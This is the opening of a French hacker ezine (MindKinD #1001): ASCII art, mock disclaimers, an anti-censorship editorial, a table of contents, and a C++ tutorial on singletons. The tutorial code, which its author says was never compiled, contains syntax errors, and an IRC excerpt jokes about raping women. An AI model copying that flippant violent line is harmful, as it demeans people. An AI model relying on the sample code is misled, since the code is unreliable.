                                                                 .--- -- --.
                                .--- ---.                       /   __      \
                               /        |   MinDKinD #1001      |  |  |     
 =============================/         |=======================|   \_|      |================
 ----------------------------,          ;-----------------------\            |----------------
                            /           |                        '------.    |
                           /    ____    |                               |    |
 -------------------------,    /----|   |--------------------------- ---|    |----------------
 ===================== ==|    .=====|	.===============================|    |================
  ___________   .-----.  |    |     |   |   			        |    |
 '     \/    '--'     '--     ;     |   ' .--------------.              '----'
 |       /\                   |	    |   ' '----- -- -----'             
 |    ___\/_________  _ ____ _|     |   |
 |   |                              |   | .--- - --------. .------.    .-------. .-- - - ---.
 ;   |                              :   ; |              | |       \   |       | |           \
 |   |                              |   . |              ' |        '  |       ; |            \  
 |   |                              .   | '              . ;         \_|       . |      __     .
 |   |                              |   | ;              | :                   | |     |   \   |
     |     ___             _ __	    ;   | |              | |                   | |     |    .  |
 '   |    |   \           /    |    |   | |              | |                   | |     |    |  |
     |    |    \         /     |    |   ; .              ; .                   | |     |    |  |
 |   ;    |     \_______/      |        . |              | |                   ; ;     |    :  |
 '   |    |                    |    |   | '              | ,                   . |     |    '  |
 .            .            .   	    |   | :              ; |        _          | |     |__ /   |
 :   '----'   |\          /|   '----'	; |              | |       | \         : |             ,
 |            :	'--- ----' ;            | |              ; |       |  \        | |            /
              |	           |            | |              | |       |   \       | |           /
 '-- ----- ---'            '-- ----- ---' '--------------' '-------'    '------' '----------'


 .--------- ------.        .-------- ---. .--------------. .-------.    .------. .----------.
 |                |       /            /  |              | |        \   |      | |           \
 |     /\         |      .            /   |              . |         '  |      | |            \
 |   .-\ \----.   ;     /   .----.   /    |              | ;          \_|      | |      __     .
 ;   |  \/    |   |    /   /    /   /     ;              . |                   | |     |   \   |
 .   :        .   .   /   /    /   /      .              | |                   . '     |    .  |
 |   .         \   \_/   /    .   ;       |              | '                   | '     |    |  :
 |   |          '       /    /   /        |              | :                   ; ;     |    |  |
 |   |           \___ _/    ;   /         .              | |                   | .     |    |  |
 ;   |                     /   ,          ;              . |                   . |     |    :  |
     |                    /   /           .              | |        _          : :     |    '  |
 |   |                   /   /            |              ' .       | \         | |     |__ /   .
 |   |                   \   '            .              ; |       |  \        | |            /
 |   |                    ;   \           |              | |       |   \       | |           /
 |   |                     \   ;          '--------------' '--- ---'    '---- -' '----------'
 |   |                      \   \          
 |   |                       .   \        .--------------.
 .   .                        \   \       '--------------' 
 |   |                         \   .
 |   :          ________        \   \      Le Ezine des lemuriens pour des lemuriens par des
 |   ;         /   __   \        '   \     lemuriens comme des lemuriens pendant les lemurs        
 |   |        /   /  \   \        \   .    de lemurland. oui oui !!
 |   '-------'   ;    '   '---- ---'   \    
 |                     \                \
 '------- -------'      '------ ---------'
                  


 
                                        M I N D K I N D  1 0 0 1 
                                       - - - - - - - --- --- - -



	Deviner qui est en retard cette annee ?



	on a passer lhivers a chier des articles de paques qui finalement sont fucking retard
pcq nee prematurement de l'union d'une cigone fertiliser par un gang bang de papa feuille de
chou. 


	Comme on est rendu corporate et quon a 3 sous disclaim reserver a chaque groupe on 
va faire le main disclaim relativement concis:









  



                                   bonne lecture

















---------------------------------------------------------------------------------------------


|\/| | |\| |> |< | |\| |>
  
   
	Toute reproduction de ce text ou de votre genome est probablement regis par des  lois
dont on a pas idee et on va pas non plus faire leffort pour le savoir. Alors  si  votre  mere
vous  a  pas  eduquer,  ce  n'est  pas  notre  probleme.   Et  si  vous  persistez dans votre 
malveillance on en a rien a foutre on est Canadien.


	Jaimerais  profiter  de l'editorial  de  se  9eme numero pour faire un appelle a tous 
contre la monter en puissance des loi anti liberter  dans  le  domaine de linformatique, dans 
beaucoup de pays civiliser ;], dont entre autre et principalement la france. Jinvite tout les 
francais  frustrer  et  baillonner  a  profiter  de  la  liberter  de  presse canadienne pour 
s'exprimer via Mindkind. vive la resistance !!!


	On tien aussi a dire  qu'on  manifeste  silencieusement notre degout face a cette loi
horible et repugnante !


						on vous temoigne tout notre support avec  une
                                                vive relativiter.

						envoyer  toute  remarque  pseudo pertinante a
						mk@mindkind.org 
						
		
								    votre entertainer favoris
										    mr pipi !




  
 ---------------------------------------------------------------------------------------------

  
     __  __           __  _____
    / / / /___ ______/ /_|__  /   _____  _____
   / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
  / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /
 /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/     - (c)Hack3ver - All rights reversed.

 #hackever sur irc.worldnet.net

 
Tout le contenu de ce site est l pour information, distraction, et  pour  rendre  compte  des 
dangers d'un systeme mal configur.

L'quipe  de Hackever et son hbergeur  ne  sont  en  aucun  cas  responsables  des  actes  ou
agissements  quel qu'en soient la sorte,  qui  pourraient  survenir  aprs  la  lecture de ses 
articles, de son forum ou de son chan irc.

Le  Code Pnal Franais  Rprime  les intrusions et le maintient dans un systeme informatique.

Hackever vous invite donc  prendre connaissance des lois francaises et de les respecter avent
de rentrer sur ce site.

Si vous ne comprenez pas, n'tes pas d'accord avec ce qui est  crit   ci-dessus  et  que  vos 
intentions sont d'enfreindre ces rgles, ne lisez pas nos articles,   notre forum, et ne venez
pas sur notre chan irc.



 ---------------------------------------------------------------------------------------------
 
 

         _.-+.        ____   __ __  ____    ___   _____  ____     ___   ____  __  _ 
    _.-""     '.     |    \ |  T  T|    \  /   \ |     ||    \   /  _] /    T|  l/ ]
+:""            '.   |  o  )|  |  ||  D  )Y     Y|   __j|  D  ) /  [_ Y  o  ||  ' / 
| \               '. |   _/ |  ~  ||    / |  O  ||  l_  |    / Y    _]|     ||    \
|  \            _.-+ |  |   l___, ||    \ |     ||   _] |    \ |   [_ |  _  ||     Y
|  '.       _.-"   | |  |   |     !|  .  Yl     !|  T   |  .  Y|     T|  |  ||  .  |
J    \  _.-"       L l__j   l____/ l__j\_j \___/ l__j   l__j\_jl_2005_|__j__jl__j\_j
L     +"           J                                               Now more Stylized
 +    |            |  Www.Pyrofreak.Org                               
  \   |          .+   Www.Pyrofreak.Tk
   \  |       .-'                                                     
    \ |    .-'        
     \| .-'           
      +                 
 


                                                 
                                                 
        /---------------------------------\            
        |            DISCLAMER            |           
        \---------------------------------/           
                                                 
        Pyrofreak.Org tient  vous informer que vous n'avez point le droit  de  reproduire  le 
        texte qui suit et cela inclus les enfants de 12ans et moins jusqu'au plus vieux!

        De plus, Pyrofreak.Org ne peut tre tenue  responsable  de  quelconque  utilisation du 
        texte que vous allez lire. Si vous n'tes pas asser  intelligent  pour  comprendre  le 
        tout... tant pis pour vous ne passerpas go, ne rclamez pas 200$ et aller en prison ou 
        en court.

        Sur ce, bonne lecture!                                          




 ---------------------------------------------------------------------------------------------





      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                                                                         |  |
                                                                                         :  |
                        <B3T4> vous aver po de zine compler les mec ou un truc qui       |  |
                        regroupe tous                                                    .  .
		        <B3T4> un truc global                                            '  :
 			<phawnky> comme truc global                                      :  |
                        <phawnky> y'a le rechaufement                                    |  |
         		<B3T4> ben un truc qui englobe la base du hack juska les niveaux |  :
          		tres o comme la programation dun RNA une ia                     /   '
 	  		<B3T4> un reseaux de nerone artificielle                       /   / B
	 		                                                              /   / U   
  	  		heu non desoler on a pas ca en stock un reseau de neurone    /   , P   
                        artificielle... mais at least on a ca :                     /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											


      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                          Topic                                          |  |
                                                                                         :  |
                                                                                         |  |
            [-]001|-- Le patrimoine Lemurien                     Qwzykx     .ca          |  |
            [-]002|-- Da Singletons   		                 Gonzo      .au          |  |
            [-]003|-- STM communication                          aprizm     .ca          |  |
            [-]004|-- BIO_SSL                                    Hackever   .fr          |  |
            [-]005|-- Inteligent Windows Shellcode               IvanLeFou  .fr          |  |
            [-]006|-- SDEL - Secure Delete                       Ninja      .ca          |  |
            [-]007|-- Le filtrage des flux web                   Indalo     .fr          |  |
            [-]008|-- fake hotmail                               Wyzeman    .ca          |  |
            [-]009|-- La rvolution est invitable               Smash3r    .ca          |  |
            [-]010|-- Ack Storm                                  IvanLeFou  .fr          |  |
            [-]011|-- Smartcard                                  Mindkind   .ca         /   '
 	    [-]012|-- Ezine maker                                Wyzeman    .ca        /   / 
	    [-]013|-- La Piqure du Poulet                        IvanLeFou  .fr       /   /    
  	    [-]014|-- bell canada black handbook                 Fireblood  .ca      /   , c   
            [-]015|-- les bienfaits dla marche                   C3l3br4l   .fr     /   / i   
                                                                                   /   / p       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . o         
           \						                             / T       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ 




	Certain  d'entre  vous  etais  au  courant,  dautre  l'apprendront dans les prochaines 
xlignes.  Mais  Mindkind  a subit une rebellion interne et un changement de pouvoir entre les 2 
derniers ezine, voici ce que nous avons recuperer de la boite noir :


      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                        <wyzeman> anarchie rebelion                                      |  |
                        <c4-> ? 							 :  |
                        <wyzeman> jmanifeste mon mecontentement                          |  |
                        <aprizm> c mieux detre ecris aprizm pas azprim                   .  .
		        <aprizm> :P       				                 '  :
 			<aprizm> on ta a  loeil                                          :  |
                        <wyzeman> sinon on brule le ezine vivant                         |  |
         		<wyzeman> on viole les femmes  		                         |  :
          		<wyzeman> on fait des graffitis sur les murs                    /   '
 	  		<wyzeman> pi jinvite vn ici		                       /   / B
	 		<aprizm> pis binf deviens le chef                             /   / U   
  	  		<wyzeman> pi on engage youpie comme mascotte                 /   , P   
                        <aprizm> pis on fais rentrer mr.net dans le crew            /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											   
             



     	    .-- -- ---- ----.
     	 ___|  MKD1001\001  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                              	                                 '---'
                                                                             
                                     Le Patrimoine Lemurien
	  
                                               AKA

                                 The hidden history of our world






                                      o/                    o        o/                      /                   __,,,,,..-         
       O     o      o                 w)        o/          a}-      w)    /  /             __,,,,,..---''''`````\                                                                         
       |     a}-    a}-       o       L     O   w)          L        L       ,,----''''\````           \     ___________        
     /\|     L      L         a}-           |   L     o               _,.-'``        ____              __,-``.      .   ```     
    /oo|\.       o/           L    o      /\|         w)        / --``          ----'__  ```.``````````       \      \          
   0\./| /b    ._k)/\   || o       w)    /oo|\.    /  L \      ,-`         ,.-`` /|.|  |,|\  \       \                          
      \|/     `| L /`   ++/w       L \  0\./| /b             .`      ,,-'``      ||  __  ||          (()                        
  o    0       `W W     || L               \|/        /   ,-`      ,'     .      |. |  | ,|    o   ()))  o    o    o    o       
  a}-                 o ++      o           0    o/     .'     __,/ +      \   + | `'  '` |  -{a  (()) -{a  -{a  -{a  -{a       
  L             o     w\||      a}-   o/         w)  _-`    ,,'     |\         |\|   /\   |.---k-(())----k----k----k----k--     
        o       a}-   L ++      L     w)         L ,'     -`       /\ \       /\ \   ||   |      ()                             
        a}-     L       ||            L        / .`      /   .    /""\ \     /""\ \  ||   |      /|--------.                    
  o     L                            /        ,'`     ,-`     \  /____\/|   /____\/| \/  ..   ,__||        |\_______________    
  a}-             o/     o/    /            .`     ,-` \         |/--\|/| O.|/--\|/|''-'`    /|  ||        | \                  
  L       o       w)   ._k)/\            ,-`    _,'              ||  || |{A ||  || |        / | /|         | /;    .-----.      
          w)      L   `| L /`     /\   .`     -` .          __   ||  || | K ||  || |     ,'`  |/===========/` |  /`     / \     
          L \          `W W      |\ \-`   ,.\`    \     /|.|  |,|||  || |O  ||  || |''-'`     ||  _     _  |[]| /______/./|     
o/              o/          .    | \/|  ,`              ||  __  |||  ||/|A.-||  ||/|------;   || [ ]   [o] |[]|_|      |[]|_    
a)     o/     ._k)/\       |x   ,| |/| ,/\              |. |  | ,|\--/| |'  |\--/| | ..-``|   || [_].,.[_] |  / |[] .,.|[]|     
L      w)    `| L /`     o/|    \| `\\`|\ \       .     | `'  '` |    |/    |    |/``     |  ()_    | |    | /  |[] | || ./     
       L      `W W     ._k)/\.    `. \\| \/|       \    |   /\   |    |-----|    |     .. |_||| |_ _|'|____|/   |___|`||/       
                      `| L /` \     ',`| |/|  /\       _|   ||   |.--,| ,-, |.--,|    |//.//\|| |__                       o     
    o/          /\     `W W           \  `\\ |\ \  O .' |   ||   ||//|||_|_|||//|| .. |//|/oo||\ oo|\    o   |\\          c     
    w)         |\ \        .       .   `.  \\| \/-{A'   |   ||   ||//||| | |||//|||//||| |\ /||\\ o| |   c   |||--------. k     
    L   /      | \/|        \       \    ', `|O|,' K   ,|   \/   ||//|| `''`||//|||//||| | `\___/b | |--.k   |||        |       
              ,| | |  /\                   '-{A`     .'.|        ||//||  .  ||//|||//|||  \ |   |  / |  /  ,` |        / \      
            .' \ `\\ |\ \        __       O,/ K    ,,-` |        ||//|| -+- ||//|||//|||  `\|   |/'  | /| /___________/___\     
 /       _-`    \  '\| \/|   /|.|  |,|\ -{A      -.`    |   /\   |`--'|  |  |`--'||//||| /-\ ,____   |/,| |          |  _  |    
       ,'      .`|   | | | /\||  __  ||-` K   ._L`      |   ||   |    |  |  |    ||//||| ()| |    |  |  `'.,[]    [] | /_\ |    
     .`       /  |  _  `\\ |\|. |  | ,|    _-.' |       |   ||   | __ |.---.| __ ||//; |-{A| |    |  |      `'-,, [] | | | |    
  ,'`      ,-`\  | / `,  \`| | `'  '` |  ,_,'   |       |   ||   |I  I|I   I|I  I||.-  |\\-/ |    |_/   ()   $    `'-;,|`| |    
-`    .,-'\      ||    \  `| |   /\   |`,'      |\]     |   \/   |I  I|I  /I|I  I|   _/``',__|====|__   $/  $$$   ()   ``'`     
    -`            \     |   '|   ||   -`      [/|/]     |.      ,|I ;I|I / I|I ;I| ./|     `;\0--0/;    K\ $$$$$  \$    ()      
 ,-`       .            | O-`|   ||   |       [\|    _-`  `''-'` |I__I|I/ /I|I__I|/  | (Q   ;  \/  ;              /K    \6      
/     __    \   .       -{A  |   |()))|         |  ,- \o    \o             o    o   /  \W   ;`-..-`;_,,,...--...,,,_    /9                           
  /|.|  |,|\     \   O-`  K  |   \(() |         |.' /\(M_.  (M \o ()))   -{a  -{a   /  /Z ____||.|____              ``'-,,                           
  ||  __  ||       -{A   O   |    ()__|__      -`\o `\ k |   k (M (()      k  o k  |      |    |.$&  |            ./\.    `'.,                       
  |. |  | ,|    O,'  K -{A  .|   ()/    .\  _-`/\(M_. W W` \o   k ()_____   -{a   /    _-`| /| |. |\ |            \,Te',                             
  | `'  '` |  -{A   O    K.` |  |\\   ,/  \-   `\ k |   \o (M    ()/ K  .\    k  /   .'   | || |. || |              ',Le',            
  |   /\   |O`  K -{A   .`   |/`|||  /     \ \o  W W`   (M  k   |\\C  ,'  \     / _-`     | ||=le=|| |      ,.,       ',Sc`.          
  |   ||   |A  O    K .`    /   |||/`  R ./|\(M_.    \o  k    ./|||  -   H \ ./` /        |/ / /\ \ \| _,-``,) \       /|\Op.         
  |   ||   |K-{A    .`(()) /---/|||  A ./  |\ k | \o (M     ./ B|||-`  T ./|'  ,'           / /  \ \.-` ,-'`, ).|     / |\`.E\             
  |   ||   |   K  .`  (() |\_  | | B ./  /]| W W` (M  k   ./---.|||  I ./ /  ,'            /_| .-'``,- ,- `-'`  |    /  |\\__/             
  |   \/   |    -`   (() /`` \ |   ./   [ ]|    \o k      |`\  | | M ./ .`  /  ..,.            |\-' '`,-'`   O  |   /   | \                
 /|        |    |    (),`   / \| ./  /] [']'    (M   ()_  |  \ | S ./_./  .`  (    `.          | |\-'`  W / T   |.                         
/ |`.     .|    |   |\\   .` K \/ /][o] [./  \o  k _||| | |[\ \|,./'`    .' ((()  @ |  ______  |||||   O     _-` _\                        
  |  `''-'`     | ./||| ,` N ./| [ ][/ ./    (M  .//\|| |__-----   .    /  (((() ,__;  |B   |  || ||  H   _-` _-` |                        
  | O         ,'./  |||` A .//]| [/  ./ o     k /|/oo||\ oo|\ ()  ; .|  'WW  (() _/    | I  |  |||||   _-` _-`    |                        
  -{A       ,-./---/|||B ./ [ ]|   ./   a}-    | |\ /||\\ o| |S/  b i| / | \  _| |.__  |4 L |  ||||| /` _-`       |                        
  | K    O |  |`\  | | ./ /][/ |_./     k o    | | `\___/b | |T\ |"""||   \ \/  \/   \/| 2 L|  | | | |\`          |                        
  |    -{A |  |[\`\| .//][ ]   |          a}-  |  \ |   |  / |       /     \__  |. !\./`----'  | ||| ||       I/  |                        
  | O    K |  |[$\ |//|$][,] ./     o     k    |  `\|   |/'  |       |        \=wz=/           ||||| ||       I\  |                        
  -{A      |  | \$]|[$|/ [ ./       c          | /-\         | ()   /         | /\ \         . ||| | || I\/I      |                        
  | K    O | ,/\ \]|[/   ./ -, o    k          | ()|         | 6/   |         | ) \ \_       |\||  | || I  I      |                     
  |    -{A ||   `\ |   ./ .`  `f\       o      |-{A|         | 9\   |         |_\  \__\      | `'\|| ||           |                     
  |      K ||     \|_./ .`\,   k m      c      | \-/         |     /                         |    `',||           |                     
  | O      |/ .-,     .\    `\    `.    k      |`.,       ,-`      |          ,.--.,         | .,    \|        ., |                     
  -{A      | |   |  .`-------------,`.         |  '`''-''`         |        ,`\  `; `.       | | '.         ,-` | |                     
  | K    O | | F |/`/   100% Bio   |\ `.     o |   `.  ()   .      |       /   ./; ,/ \      | |   `.    .-`    | |                     
  |    -{A | ;-, | /              ,; '  ' () C | /\  , M/  / \  () |      |   , /  |//-|     | |    |   |       | |                     
  | O    K ||   ||/  Harvest with / /|\ / || k | ||  \ A\ /x |/ \M |   .__;____;____;__;__.  | |    |   |       | |                     
  -{A      || F |/      love      |/ |/`/\||   | ||   |   |\./| /A |   |  _____ G  _____  | /__|    |   |       | |                     
  | K    O || A /=================| /| /# ||\  | ||    \    |      |   | / \ | |L |  ;/ \ |         |   |       |__\                 
  |    -{A || R | _______________ |//|0\ /||\\ | \/    |           |   | |  ; ;|O | ,-  | |         |   |                            
  | O    K || M | _//_________//_ |/ |  `\|| /b|       |    ___    |\  | |   ``|B |`    | |        / \ / \                           
  -{A      ||   |     _______     |  |    \|/  |       |()  |C|  ()| | | |     |E |     | |         \ ` /                            
  | K    O ||   |    [   |   ]    |  ;     0   | /\    |H/__/P\__\H| \/__]     /__\     [__\         \ /                             
  |    -{A ||   |    [  .|.  ]    | /          | ||    ;A\|__U__|/A|  |                                                              
  |      K ||___|____[___|___]____I/           | ||   /            |   \                                                             
                                                                                                                      
                                                                                                                                               
     



     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Qwzykx     |
           			                  '--------------------'








     	    .-- -- ---- ----.
     	 ___|  MKD1001\002  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                              	                                 '---'
                                                                             
                                          Da Singletons
	  
                                               AKA

                                   Global Variables ... evil?

   


Foreword: avant de commencer, jaimerais prciser que la qualit dcriture de cette   article
est complment merdique et je men excuse. Cest la premire chose que   jcrit  en  franais
depuis les 5 dernires annes mais anyway, je me suis efforcer de spellchecker avec  Word   et
peu tre la faire passer a une couple de personne avant de la publier.

  
Itou, le code crit ici na jamais t compiler, je lai crit from the top of my head sans  me
soucier des syntax errors (cest juste du code dexemple anyway, cest pas supposer marcher ou 
faire rien dutile. Baser vous dessus). Si vous voulez des exemples qui  marchent,  downloader 
9th Life sur le SVN de Mindkind-Coding si a existe encore  (ou il doit   avoir  des links sur
http://www.ogre3d.org  ou http://sourceforge.net/projects/ninthlife/ ),     cest   plein   de 
singleton la dedans.


Lets get started

Ok ici je vais vous conter une petite histoire sur les variables global  ou   anyway   quelque
chose du genre.

Background required: C++ basic classes/inheritance, static function,  reference, some   coding 
ability.

A qui cette article est fait pour: du monde qui code en C++ ?  a mtonnerais que  les  h4x0r
d00dz aie de quoi dintressant a lire ici.

Bon un singleton cest quoi? De ce que je me suis fait dire, ctait la faon en   java   pour
faire des variables globaux.

Bon la je voie tout les ptit programmeur crier se que leur prof leur a dit back   in  collge. 
 Global variables are evil !! evil !!!! Si jamais vous en utiliser une vous  ne mritez  pas
de jamais crire de code pour personne me si cest du IRC scripting ou du VB Evil!!!!

En vrai ce nest pas si  evil  que a si on les utilise comme du monde. Apparemment,   cest
mme plus rapide et a vous enlve la misre de mettre 56 arguments  vos function pour  avoir
accs a des variables qui sont seulement disponible plus bas dans votre programme. La   raison 
pourquoi cest evil, cest parce que on pourrais tout mettre global et se  perde    complment
vue    que     tout     vos    variables    sont  dans    le    mme scope et vous allez avoir 
 x1,x2,x3,x4,y1,y2,y3,y4   et a ne finira plus. Les singletons  vous    apprennent un peu a 
faire de lordre dans vos variables globaux.

De mon bord, jai appris les singletons en faisant du gamedev ou  on    finit   toujours   par
dvelopper cinquante-six mille systems et tout vire en shit parce quil  y a   32    diffrent 
types de character et 32 types ditem et plein de data qui a besoin dtre accder    un   peu 
partout.  So, un singleton acte comme 2 choses. Un manager et un accs global au  data   quil
manage.

Je vais commencer par vous montrer un peu comment on fait un singleton.  Au  cours  du  temps, 
jai vue diffrente faon de les faire et ici, je vais vous montrer celle  que  jutilise.  Ma 
technique consiste davoir une function static dune class qui retourne   un  rfrence  a  la
class. (wtf !?!?!). Ok  sa  sonne   peut-tre  comme    quelque  chose  qui  sort  dun  livre
dinstruction de chez IKEA mais dans le fond, ce nest pas trs compliquer.

Une function static dune class. Cest quoi ca fait?

CODE Time!!!!

class ObjectCloseAuditAlarm
{
public:
  Object();   // constructor
  ~Object();  //destructor

  static void FunctionStatic();
  void FunctionPasStatic();
private:
  int	  m_meber1;
  char  m_member2
};

Bon voila une petite class qui ne fait rien mais qui a une function static
et une function pas static.

Dhabitude vous devez crer une instance de la class pour utiliser leur
functions.

void main()
{
  Object unObject;
  unObject.FunctionPasStatic();
}

Bon, on sentend jusque la? Good.

La function static na pas besoin dinstance.

void main()
{
  Object::FunctionStatic();
}

Et le contenu de la function va se faire excuter. So dans le fond, cest
une function  global .

Maintenant un exemple de singleton.

class Singleton
{
public:
  //GENERAL
  ~Singleton();	//destructor
  static Singleton &Instance();

  //ACCESSOR
  int  GetMember1() const { return m_member1; }
  char GetMember2() const { return m_member2; }
  //MANIPULATOR
  void SetMember1(int member1)  { m_member1 = member1; }
  void SetMember2(char member2) { m_member2 = member2; }

private:
  int	 m_meber1;
  char m_member2;

  Singleton();    // constructor
};

Singleton &Singleton::Instance()
{
  static Singleton instance;
  return instance;
}


Bon ques-ce quon a ici. Une class avec un constructeur private ?!?!?  Oui, ce nest pas une
erreur. Mais je vais expliquer pour quoi plus tard.  Dans notre cas, on pourrait   avoir    un 
constructeur public et tout   fonctionnerait mais jai mis mon constructeur priver juste parce
que, cest la faon que je le fait. La partie intressante, cest la function static Instance.
Comme vous voyez, elle est static et retourne une rfrence a  a    propre   class. Dans   la
dfinition de la function, on crer une instance static de notre  class     et  la   retourne.
(Instance static parce que si la function a dj t appel, on ne veut pas re-crer lobject)

Lide est que Instance() va crer lobject si elle nest pas crer et nous donner un instance
a la class.

So en code.

void main()
{
  Singleton::Instance().SetMember1(10);
  Singleton::Instance().SetMember2('a');

  std::cout << "member1: " << Singleton::Instance().GetMember1()
            << " member2: " << Singleton::Instance().GetMember2()
            << std::endl;
}


Et voila. On a modifier member 1 et member 2 sans  mme avoir a crer un instance de la  class 
(ou anyway, on a rien vue de a) et oui, believe it or not, vous pouvez accder  ces   members
la nimporte ou dans votre programme ou vous faite #include le header file (.h)   qui contient
la class dclaration du singleton.


Maintenant un exemple real life. Imaginer vous que vous crer une jeux de combat. Il va  avoir 
18 characters avec des proprits similaires mais dans le fond. Cest juste des characters. Il
marche, il saute, il meurt. So  vous aller crer une base Character class et des class driver 
pour chaque character. Les characters vont   bien   sure    interacter   entre  eux  pendant
lexcution du jeux a diffrent endroits dans le program. Dans ce cas,   nous allons crer une 
 CharacterManager   qui va se charger de tout nos characters. De cette faon,  nous   allons
tre capable accder nimporte quel character a nimporte   quelle  endroit  dans  le    jeux.
(Je vais essayer de garder les dtails aussi minime que possible  pour  ne  pas  vous   mler.
Nessayer pas de comprendre ce que les functions de la character class font. Se sont juste des
functions et a pourrais    tre  nimporte  quoi.  Pr  occuper  vous  plus  sur  se  que  le
CharacterManager va faire avec les class)

//character base class
class Character
{
public:
  //GENERAL
  Character();              //constructor
  virtual ~Character();	    //destructor
  virtual void Init();	    //init everything
  virtual void Terminate(); //clean up
  virtual void Logic();     //called every frame in the main Game loop

  void Walk();
  void Jump();
  virtual void Attack();
  virtual void SpecialMove()=0;

  //ACCESSOR
  int GetWalkingSpeed() const { return m_walkingSpeed; }
  int GetHealth()       const { return m_health; }
  int GetAttackPower()  const { return m_attackPower; }
  const std::string &GetName() const { return m_name; }

	//MANIPULATOR
  void SetWalkingSpeed(int walkingSpeed) { m_walkingSpeed = walkingSpeed; }
  void SetHealth(int health) { m_health = health; }
  void SetAttackPower(int attackPower)  { m_attackPower = attackPower; }
  void SetName(const std::string &name) { m_name = name; }

protected:
  int m_health;       //health of our character
  int	m_walkingSpeed; //the speed that the character is walking
  int	m_attackPower;  //how strong the character is
  std::string m_name; //the name of the character
};

Heres the base character class that basically setup the basic properties
of a character (again, were staying in the basic) but it is sort of what
you would expect.

class CharacterNinja public Charactcer
{
public:
  CharacterNinja();
  ~CharacterNinja();
  void Init();      //init everything
  void Terminate(); //clean up
  void Logic();     //called every frame in the main Game loop

  void Attack();
  void SpecialMove();

private:
  SpecialProperties m_specialProperties;
};

class CharacterKarateKid public Charactcer
{
public:
  CharacterKarateKid();
  ~CharacterKarateKid();

  void Attack();
  void SpecialMove();

private:
  SpecialProperties m_specialProperties;
};


Then 2 derive class that shows what you would do with your character class

enum CharacterIndex
{
  CHARACTER_NINJA     = 0,
  CHARACTER_KARATEKID = 1,
};

Ceci est juste une enum qui est une bonne practice pour indexer nos
lment. Ou vous pouvez toujours utiliser une map et les mapper a une
string. (Up to you)

class CharacterManager
{
public:
  //GENERAL
  ~CharacterManager();
  static CharacterManager &Instance();

  void Initialise();
  void Terminate();
  void Logic();

  //ACCESSOR
  Character *GetCharacter(int index) const { return m_characterList[index]; }

private:
  std::vector<Character*> m_characterList;

  CharacterManager();
};


CharacterManager::CharacterManager()
{
  m_characterList.push_back(new CharacterNinja());
  m_characterList.push_back(new CharacterKarateKid());
}

CharacterManager::~CharacterManager()
{
  for (int i=0; i<(int)m_characterList.size(); i++)
    delete m_characterList[i];
}


void CharacterManager::Initialise()
{
  for (int i=0; i<(int)m_characterList.size(); i++)
     m_characterList[i].Init();
}

void CharacterManager::Terminate()
{
   for (int i=0; i<(int)m_characterList.size(); i++)
     m_characterList[i].Terminate();
}

void CharacterManager::Logic()
{
   for (int i=0; i<(int)m_characterList.size(); i++)
     m_characterList[i].Logic();
}


Bon voila la partie importante. Ca dmontre comment le manager va  manager les   characters de 
faon lgante. Il va se charger seulement de la base  class    et  sassurer   que  tout  les 
characters sont trait de faon gale. Maintenant je vais  vous donner un exemple de se que a 
a lair dans du code.


void main()
{

  CharacterManager::Instance().Initialise();

  //main game loop
  while (gameNotOver)
  {
     //logic
     CharacterManager::Instance().Logic();

     //input
     if (PlayerInput1Walk)
     {
   CharacterManager::Instance().GetCharacter(CHARACTER_KARATEKID)->Walk();
     }
     if (PlayerInput2Walk)
     {
      CharacterManager::Instance().GetCharacter(CHARACTER_NINJA)->Walk();
     }
  }

  CharacterManager::Instance().Terminate();

}

Ceci est un exemple trs simplifier mais a devrais vous donner une petite  ide de comment a
marche. Et a rend le code assez clean quand on a une 20e de system du  genre.   SpellManager,
ItemManager, MonsterManager, etc.



private constructor

Bon si vous vous rappeler, javais mentionner que jallais revenir au   constructeur   priver. 
Pourquoi ? bien un singleton est fait pour en avoir juste 1 (single).   Vous ne   voulez   pas
donner la possibilit au user de crer 50 instance. Sinon vous allez vous ramasser avec 5 fois 
le mme manager se qui veux dire 50 fois  les   character   dupliquer. So cest    une  simple 
technique pour empcher a de se produire. Bien sure on peu toujours faire des copy mais si on
peu bloquer 60% des attente, cest dj mieux que rien.


Conclusion

Bon aucune ide si cet article a fait du sens pour vous. Jai p-e mal expliquer   le   concept 
mais en bout de ligne, utiliser des singletons comme object factory ou object manager  est une
faon trs lgante de grer cest object. En mme temps, on peu sassurer que nimporte  quel
object qui est crer va tre deleter a la fin du programme se qui limine les memmory leaks.



											

     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Gonzo      |
           			                  '--------------------'



                                            

                        
 						     
      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                       Le webring Mindkind 				 .  '
        									         |  |
                          Mindkind         http://www.mindkind.org                       :  |
                          Hackever         http://hackever.n0ne.org                      |  |
       			  Pyrofreak        http://www.pyrofreak.tk                       |  |
          		                                                                 |  |
         		                                                                 |  :
          		  radio31337       http://radio31337.mindkind.org               /   '
 	  		                                                               /   / B
	 		                                                              /   / U   
